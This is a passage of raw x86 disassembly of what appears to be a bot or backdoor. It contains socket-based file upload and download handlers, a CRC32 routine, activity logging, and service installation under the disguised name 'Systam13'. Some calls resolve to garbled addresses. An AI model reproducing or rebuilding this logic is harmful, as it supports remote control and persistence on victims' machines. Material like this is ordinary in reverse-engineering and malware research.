XREF: sub_40BC4B+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_40BD40 push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_418C10 add esp, 0Ch loc_40BD40: ; CODE XREF: sub_40BC4B+DEj cmp [ebp+var_20], ebx jbe short loc_40BD5A push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_418C10 add esp, 0Ch loc_40BD5A: ; CODE XREF: sub_40BC4B+F8j cmp [ebp+var_18], ebx jbe short loc_40BD74 push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_418C10 add esp, 0Ch loc_40BD74: ; CODE XREF: sub_40BC4B+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_43AD48 call dword_43AD6C mov esi, eax cmp esi, ebx jz short loc_40BDFD push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_43AD60 cmp eax, ebx mov [ebp+var_4], eax jz short loc_40BE04 push ebx push ebx push ebx push ebx push eax call dword_43AD14 test eax, eax jz short loc_40BDDE push offset dword_42DF54 jmp short loc_40BE09 ; --------------------------------------------------------------------------- loc_40BDDE: ; CODE XREF: sub_40BC4B+18Aj push offset unk_42DF08 jmp short loc_40BE09 ; --------------------------------------------------------------------------- loc_40BDE5: ; CODE XREF: sub_40BC4B+B7j lea eax, [ebp+var_55C] push offset dword_42DEDC push eax call sub_4172B0 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_40BE17 ; --------------------------------------------------------------------------- loc_40BDFD: ; CODE XREF: sub_40BC4B+153j push offset unk_42DEA0 jmp short loc_40BE09 ; --------------------------------------------------------------------------- loc_40BE04: ; CODE XREF: sub_40BC4B+17Bj push offset unk_42DE60 loc_40BE09: ; CODE XREF: sub_40BC4B+191j ; sub_40BC4B+198j ... lea eax, [ebp+var_55C] push eax call sub_4172B0 pop ecx pop ecx loc_40BE17: ; CODE XREF: sub_40BC4B+1B0j cmp [ebp+var_1D4], ebx jnz short loc_40BE42 push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_40D679 add esp, 14h loc_40BE42: ; CODE XREF: sub_40BC4B+1D2j lea eax, [ebp+var_55C] push eax call sub_40BF6D pop ecx push esi call dword_43ADCC push [ebp+var_4] call dword_43ADCC push [ebp+var_1D8] call sub_417078 pop ecx push ebx nop call near ptr 261095Eh pop edi pop esi pop ebx sub_40BC4B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BE75 proc near ; CODE XREF: sub_40EE72+448Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43FA70 mov edi, 0B8h loc_40BE89: ; CODE XREF: sub_40BE75+33j cmp byte ptr [esi], 0 jz short loc_40BEAC push [ebp+arg_0] push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40BEAC inc [ebp+var_4] add esi, edi cmp esi, offset dword_4405F0 jl short loc_40BE89 jmp short loc_40BEEE ; --------------------------------------------------------------------------- loc_40BEAC: ; CODE XREF: sub_40BE75+17j ; sub_40BE75+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43FA70[esi] push ebx call sub_417330 push 17h push [ebp+arg_0] push ebx call sub_418C10 push 9Fh lea eax, dword_43FA88[esi] push [ebp+arg_4] push eax call sub_418C10 add esp, 24h inc dword_42F794 pop ebx loc_40BEEE: ; CODE XREF: sub_40BE75+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_40BE75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BEF5 proc near ; CODE XREF: sub_40EE72+5B58p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_42DF90 push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h xor edi, edi mov esi, offset dword_43FA70 loc_40BF1F: ; CODE XREF: sub_40BEF5+72j cmp byte ptr [esi], 0 jz short loc_40BF5A lea eax, [esi+18h] push eax push esi push edi push offset dword_42DF84 lea eax, [ebp+var_200] push 200h push eax call sub_41782A push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 2Ch loc_40BF5A: ; CODE XREF: sub_40BEF5+2Dj add esi, 0B8h inc edi cmp esi, offset dword_4405F0 jl short loc_40BF1F pop edi pop esi leave retn sub_40BEF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BF6D proc near ; CODE XREF: sub_401000+9Ap ; sub_4010B5+314p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 2630000h mov ebx, offset dword_43F164 mov edi, 80h mov esi, offset dword_43B164 loc_40BF8F: ; CODE XREF: sub_40BF6D+3Dj cmp byte ptr [ebx], 0 jz short loc_40BFA6 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_418C10 add esp, 0Ch loc_40BFA6: ; CODE XREF: sub_40BF6D+25j sub ebx, edi cmp ebx, esi jge short loc_40BF8F movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41782A add esp, 28h pop edi pop esi pop ebx leave retn sub_40BF6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFE1 proc near ; CODE XREF: sub_407BDE+15Bp ; ___:00407F15p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_4193FF lea eax, [ebp+var_80] push eax call sub_40BF6D add esp, 14h leave retn sub_40BFE1 endp ; =============== S U B R O U T I N E ======================================= sub_40C00D proc near ; CODE XREF: sub_40EE72+5A4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_43B164 xor ecx, ecx loc_40C014: ; CODE XREF: sub_40C00D+13j mov [eax], cl add eax, 80h cmp eax, offset dword_43F164 jl short loc_40C014 cmp [esp+arg_C], ecx push esi mov esi, offset dword_42DFC4 jnz short loc_40C044 push ecx push [esp+8+arg_8] push esi push [esp+10h+arg_4] push [esp+14h+arg_0] call sub_40D679 add esp, 14h loc_40C044: ; CODE XREF: sub_40C00D+1Fj push esi call sub_40BF6D pop ecx pop esi retn sub_40C00D endp ; =============== S U B R O U T I N E ======================================= sub_40C04D proc near ; CODE XREF: sub_402DD7+2AEp arg_0 = dword ptr 4 push esi mov esi, offset dword_43B164 loc_40C053: ; CODE XREF: sub_40C04D+27j cmp byte ptr [esi], 0 jz short loc_40C068 push [esp+4+arg_0] push esi call sub_40A96F pop ecx test eax, eax pop ecx jnz short loc_40C07A loc_40C068: ; CODE XREF: sub_40C04D+9j add esi, 80h cmp esi, offset dword_43F164 jl short loc_40C053 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40C07A: ; CODE XREF: sub_40C04D+19j push 1 pop eax pop esi retn sub_40C04D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C07F proc near ; DATA XREF: sub_40EE72+5B02o var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] push 1 rep movsd xor edx, edx pop edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_40C0D2 push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset dword_42E018 push eax push [ebp+var_11C] call sub_40D679 add esp, 14h loc_40C0D2: ; CODE XREF: sub_40C07F+33j cmp [ebp+var_98], 0 jz short loc_40C0F2 lea eax, [ebp+var_98] push eax call sub_41781F test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_40C0F2 mov [ebp+var_8], eax loc_40C0F2: ; CODE XREF: sub_40C07F+5Aj ; sub_40C07F+6Ej and [ebp+arg_0], 0 mov esi, offset dword_43B164 loc_40C0FB: ; CODE XREF: sub_40C07F+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_40C155 cmp byte ptr [esi], 0 jz short loc_40C144 cmp [ebp+var_98], 0 jz short loc_40C12A cmp [ebp+var_4], 0 jnz short loc_40C12A lea eax, [ebp+var_98] push eax push esi call sub_40A96F pop ecx test eax, eax pop ecx jz short loc_40C144 loc_40C12A: ; CODE XREF: sub_40C07F+90j ; sub_40C07F+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push [ebp+var_11C] call sub_40D679 add esp, 14h loc_40C144: ; CODE XREF: sub_40C07F+87j ; sub_40C07F+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_43F164 jl short loc_40C0FB loc_40C155: ; CODE XREF: sub_40C07F+82j lea eax, [ebp+var_31C] push offset dword_42DFEC push eax call sub_4172B0 xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_40C18F push esi lea eax, [ebp+var_31C] push [ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_40D679 add esp, 14h loc_40C18F: ; CODE XREF: sub_40C07F+EEj lea eax, [ebp+var_31C] push eax call sub_40BF6D push [ebp+var_18] call sub_417078 pop ecx pop ecx push esi nop call near ptr 261095Eh pop edi pop esi sub_40C07F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C1AE proc near ; CODE XREF: sub_40AC42+1Ep ; ___:0040E9EFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_42E038 xor esi, esi mov ebx, offset aSystam13 ; "Systam13" loc_40C1C1: ; CODE XREF: sub_40C1AE+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_43AD4C cmp [ebp+arg_0], esi jz short loc_40C1FB push [ebp+arg_0] call sub_417AB0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_43ADBC jmp short loc_40C205 ; --------------------------------------------------------------------------- loc_40C1FB: ; CODE XREF: sub_40C1AE+2Fj push ebx push [ebp+var_4] call dword_43AD04 loc_40C205: ; CODE XREF: sub_40C1AE+4Bj push [ebp+var_4] call dword_43AD74 add edi, 8 cmp edi, offset dword_42E050 jb short loc_40C1C1 pop edi pop esi pop ebx leave retn sub_40C1AE endp ; =============== S U B R O U T I N E ======================================= sub_40C21E proc near ; CODE XREF: sub_40C259+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_40C253 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_40C237: ; CODE XREF: sub_40C21E+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_424298[eax*4] xor esi, eax inc edx dec edi jnz short loc_40C237 pop edi pop ebx loc_40C253: ; CODE XREF: sub_40C21E+Ej mov eax, esi pop esi not eax retn sub_40C21E endp ; =============== S U B R O U T I N E ======================================= sub_40C259 proc near ; CODE XREF: sub_40CAF1+24Ap var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_417B89 mov [esp+10h+var_10], offset aRb ; "rb" push [esp+10h+arg_0] mov esi, eax call sub_4179A8 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_40C2A8 loc_40C27E: ; CODE XREF: sub_40C259+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_40C2AC inc ebx push ebx push esi call sub_41944F mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40C2A8 push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_418A86 add esp, 10h jmp short loc_40C27E ; --------------------------------------------------------------------------- loc_40C2A8: ; CODE XREF: sub_40C259+23j ; sub_40C259+39j xor eax, eax jmp short loc_40C2C7 ; --------------------------------------------------------------------------- loc_40C2AC: ; CODE XREF: sub_40C259+29j dec ebx push ebx push esi call sub_40C21E push esi mov ebx, eax call sub_417C3B push edi call sub_417900 add esp, 10h mov eax, ebx loc_40C2C7: ; CODE XREF: sub_40C259+51j pop edi pop esi pop ebx retn sub_40C259 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C2CB proc near ; CODE XREF: sub_40C351+33p ; sub_40C8B4+BCp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_43AE18 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_40C347 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_43AD98 push [ebp+arg_0] mov [ebp+var_E], ax call dword_43ADD8 cmp eax, esi jnz short loc_40C32C push [ebp+arg_0] call dword_43AE1C test eax, eax jz short loc_40C347 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_40C32C: ; CODE XREF: sub_40C2CB+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_43AD40 cmp eax, esi jnz short loc_40C34B push edi call dword_43AE30 loc_40C347: ; CODE XREF: sub_40C2CB+1Bj ; sub_40C2CB+58j mov eax, esi jmp short loc_40C34D ; --------------------------------------------------------------------------- loc_40C34B: ; CODE XREF: sub_40C2CB+73j mov eax, edi loc_40C34D: ; CODE XREF: sub_40C2CB+7Ej pop edi pop esi leave retn sub_40C2CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C351 proc near ; DATA XREF: sub_40EE72+A88o var_11B4 = byte ptr -11B4h var_1B4 = byte ptr -1B4h var_1AC = byte ptr -1ACh var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11B4h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1B4] rep movsd push 1 pop esi push [ebp+var_14] mov [eax+1B0h], esi lea eax, [ebp+var_1AC] push eax call sub_40C2CB mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short loc_40C3E4 lea eax, [ebp+var_11B4] push offset dword_42E0D4 push eax call sub_4172B0 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40C3C7 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D679 add esp, 14h loc_40C3C7: ; CODE XREF: sub_40C351+59j lea eax, [ebp+var_11B4] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push esi call near ptr 261095Eh nop loc_40C3E4: ; CODE XREF: sub_40C351+3Fj push offset byte_436EDC push ebx call sub_40B56C pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_40C44F lea eax, [ebp+var_11B4] push offset dword_42E094 push eax call sub_4172B0 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40C42B push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D679 add esp, 14h loc_40C42B: ; CODE XREF: sub_40C351+BDj lea eax, [ebp+var_11B4] push eax call sub_40BF6D pop ecx push ebx call dword_43AE30 push [ebp+var_10] call sub_417078 pop ecx push esi nop call near ptr 261095Eh loc_40C44F: ; CODE XREF: sub_40C351+A3j push 64h nop call near ptr 26207A4h xor edi, edi mov esi, 1000h loc_40C45E: ; CODE XREF: sub_40C351+168j push esi lea eax, [ebp+var_11B4] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_11B4] push edi push esi push eax push ebx call dword_43ADB0 test eax, eax jle short loc_40C4BB lea eax, [ebp+var_11B4] push offset asc_42A660 ; "\n" push eax call sub_4179D0 lea eax, [ebp+var_11B4] push eax call sub_40B358 add esp, 0Ch test eax, eax jz short loc_40C4BB push 64h nop call near ptr 26207A4h push 7 call sub_416FA4 test eax, eax pop ecx jnz short loc_40C45E loc_40C4BB: ; CODE XREF: sub_40C351+130j ; sub_40C351+154j lea eax, [ebp+var_11B4] push offset dword_42E050 push eax call sub_4172B0 cmp [ebp+var_8], edi pop ecx pop ecx jnz short loc_40C4EE push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D679 add esp, 14h loc_40C4EE: ; CODE XREF: sub_40C351+180j lea eax, [ebp+var_11B4] push eax call sub_40BF6D pop ecx push ebx call dword_43AE30 push [ebp+var_10] call sub_417078 pop ecx push edi nop call near ptr 261095Eh sub_40C351 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C512 proc near ; DATA XREF: sub_40EE72+4A7Co var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_3FC = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1E0 = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd push 1 xor esi, esi pop ebx mov [ebp+var_10], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_C], esi mov [ebp+var_20], esi call dword_43AE18 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_40C560 push offset dword_42E258 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C560: ; CODE XREF: sub_40C512+42j push 10h lea eax, [ebp+var_30] push esi push eax call sub_417330 add esp, 0Ch mov [ebp+var_30], 2 push esi call dword_43AD98 mov word ptr [ebp+var_2E], ax lea eax, [ebp+var_30] push 10h push eax push edi mov [ebp+var_2E+2], esi call dword_43ADC4 test eax, eax jz short loc_40C59E push offset dword_42E224 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C59E: ; CODE XREF: sub_40C512+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_30] push eax push edi call dword_43AD3C push [ebp+var_2E] call dword_43ACD4 mov [ebp+var_4], eax lea eax, [ebp+var_1E0] push eax mov [ebp+arg_0], esi call sub_417AB0 pop ecx loc_40C5D0: ; CODE XREF: sub_40C512+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+var_1E0] cmp al, 20h jnz short loc_40C5E3 push 5Fh pop eax jmp short loc_40C5E6 ; --------------------------------------------------------------------------- loc_40C5E3: ; CODE XREF: sub_40C512+CAj movsx eax, al loc_40C5E6: ; CODE XREF: sub_40C512+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+var_1E0] inc ecx push eax mov [ebp+arg_0], ecx call sub_417AB0 cmp [ebp+arg_0], eax pop ecx jbe short loc_40C5D0 push ebx push edi call dword_43ADC0 test eax, eax jz short loc_40C619 push offset dword_42E0D4 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C619: ; CODE XREF: sub_40C512+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+var_1E0] push 80000000h push eax nop call near ptr 2670000h cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_40C643 push offset dword_42E1F4 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C643: ; CODE XREF: sub_40C512+125j push esi push eax nop call near ptr 26B0000h mov [ebp+arg_0], eax push eax movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_40AEE0 pop ecx push eax call dword_43ADD8 push eax call dword_43AD94 push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset dword_42E1DC push eax call sub_4172B0 push esi lea eax, [ebp+var_3FC] push esi push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_40D679 add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call dword_43AD80 test eax, eax jg short loc_40C6F3 push esi lea eax, [ebp+var_DC] push [ebp+var_54] push offset dword_42E1B4 push eax push [ebp+var_1FC] call sub_40D679 jmp loc_40C817 ; --------------------------------------------------------------------------- loc_40C6F3: ; CODE XREF: sub_40C512+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call dword_43AE2C cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_40C72C push offset dword_42E180 loc_40C719: ; CODE XREF: sub_40C512+49j ; sub_40C512+87j ... lea eax, [ebp+var_3FC] push eax call sub_4172B0 pop ecx pop ecx jmp loc_40C81A ; --------------------------------------------------------------------------- loc_40C72C: ; CODE XREF: sub_40C512+200j push edi call dword_43AE30 cmp [ebp+arg_0], esi jz loc_40C7DE mov edi, 400h loc_40C741: ; CODE XREF: sub_40C512+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_40C74E mov [ebp+var_4], eax loc_40C74E: ; CODE XREF: sub_40C512+237j push edi lea eax, [ebp+var_A04] push esi push eax call sub_417330 mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] call near ptr 26F0000h nop lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] call near ptr 2650000h nop push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call dword_43ADE8 mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call dword_43ADB0 cmp eax, ebx jl loc_40C873 mov eax, [ebp+var_4] cmp eax, ebx jl loc_40C873 sub [ebp+arg_0], eax jnz loc_40C741 mov edi, [ebp+var_18] loc_40C7DE: ; CODE XREF: sub_40C512+224j push [ebp+var_8] call near ptr 265089Dh nop push [ebp+var_C] push [ebp+var_10] call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_1E0] push eax push [ebp+var_44] call dword_43AE24 push eax lea eax, [ebp+var_3FC] push offset dword_42E130 push eax call sub_4172B0 loc_40C817: ; CODE XREF: sub_40C512+1DCj add esp, 14h loc_40C81A: ; CODE XREF: sub_40C512+215j cmp [ebp+var_50], esi jnz short loc_40C83F push esi lea eax, [ebp+var_3FC] push [ebp+var_54] push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_40D679 add esp, 14h loc_40C83F: ; CODE XREF: sub_40C512+30Bj lea eax, [ebp+var_3FC] push eax call sub_40BF6D cmp edi, esi pop ecx jbe short loc_40C857 push edi call dword_43AE30 loc_40C857: ; CODE XREF: sub_40C512+33Cj push [ebp+var_1F8] call dword_43AE30 push [ebp+var_58] call sub_417078 pop ecx push esi nop call near ptr 261095Eh loc_40C873: ; CODE XREF: sub_40C512+2AFj ; sub_40C512+2BAj push esi mov esi, offset dword_42E108 push [ebp+var_54] lea eax, [ebp+var_DC] push esi push eax push [ebp+var_1FC] call sub_40D679 push esi call sub_40BF6D add esp, 18h push [ebp+var_1F8] call dword_43AE30 push [ebp+var_58] call sub_417078 pop ecx push ebx nop call near ptr 261095Eh sub_40C512 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8B4 proc near ; DATA XREF: sub_40EE72+7C0o var_14C4 = byte ptr -14C4h var_4C4 = byte ptr -4C4h var_2C4 = byte ptr -2C4h var_1C0 = dword ptr -1C0h var_1B8 = byte ptr -1B8h var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 14C4h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1C0] rep movsd push 1 xor ebx, ebx pop esi mov [ebp+var_8], ebx mov [eax+1B0h], esi lea eax, [ebp+var_2C4] push 104h push eax call near ptr 26207EAh nop lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_2C4] push offset aSS_2 ; "%s%s" push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_2C4] push ebx push 80h push 2 push ebx push esi push 40000000h push eax nop call near ptr 2670000h cmp eax, 0FFFFFFFFh jnz short loc_40C93E push offset dword_42E350 jmp short loc_40C984 ; --------------------------------------------------------------------------- loc_40C93E: ; CODE XREF: sub_40C8B4+81j push eax nop call near ptr 265089Dh lea eax, [ebp+var_2C4] push offset aAB ; "a+b" push eax call sub_4179A8 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_40C966 push offset dword_42E310 jmp short loc_40C984 ; --------------------------------------------------------------------------- loc_40C966: ; CODE XREF: sub_40C8B4+A9j push [ebp+var_20] lea eax, [ebp+var_1B8] push eax call sub_40C2CB pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_40C997 push offset dword_42E2E0 loc_40C984: ; CODE XREF: sub_40C8B4+88j ; sub_40C8B4+B0j lea eax, [ebp+var_4C4] push eax call sub_4172B0 pop ecx pop ecx jmp loc_40CA93 ; --------------------------------------------------------------------------- loc_40C997: ; CODE XREF: sub_40C8B4+C9j mov esi, 1000h loc_40C99C: ; CODE XREF: sub_40C8B4+14Ej push esi lea eax, [ebp+var_14C4] push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_14C4] push ebx push esi push eax push [ebp+arg_0] call dword_43ADB0 mov edi, eax cmp edi, ebx jz loc_40CA63 cmp edi, 0FFFFFFFFh jz short loc_40CA04 push [ebp+var_4] lea eax, [ebp+var_14C4] push edi push 1 push eax call sub_4196EF add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call dword_43AD94 mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call dword_43ADE8 jmp short loc_40C99C ; --------------------------------------------------------------------------- loc_40CA04: ; CODE XREF: sub_40C8B4+118j lea eax, [ebp+var_4C4] push offset dword_42E108 push eax call sub_4172B0 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40D679 lea eax, [ebp+var_4C4] push eax call sub_40BF6D push [ebp+var_4] call sub_417900 add esp, 24h push [ebp+arg_0] call dword_43AE30 push [ebp+var_1C] call sub_417078 pop ecx push 1 nop call near ptr 261095Eh loc_40CA63: ; CODE XREF: sub_40C8B4+10Fj mov eax, [ebp+var_8] cdq push edx push eax call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_4C4] push offset dword_42E28C push eax call sub_4172B0 add esp, 14h loc_40CA93: ; CODE XREF: sub_40C8B4+DEj cmp [ebp+var_14], ebx jnz short loc_40CAB8 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40D679 add esp, 14h loc_40CAB8: ; CODE XREF: sub_40C8B4+1E2j lea eax, [ebp+var_4C4] push eax call sub_40BF6D cmp [ebp+var_4], ebx pop ecx jz short loc_40CAD3 push [ebp+var_4] call sub_417900 pop ecx loc_40CAD3: ; CODE XREF: sub_40C8B4+214j cmp [ebp+arg_0], ebx jbe short loc_40CAE1 push [ebp+arg_0] call dword_43AE30 loc_40CAE1: 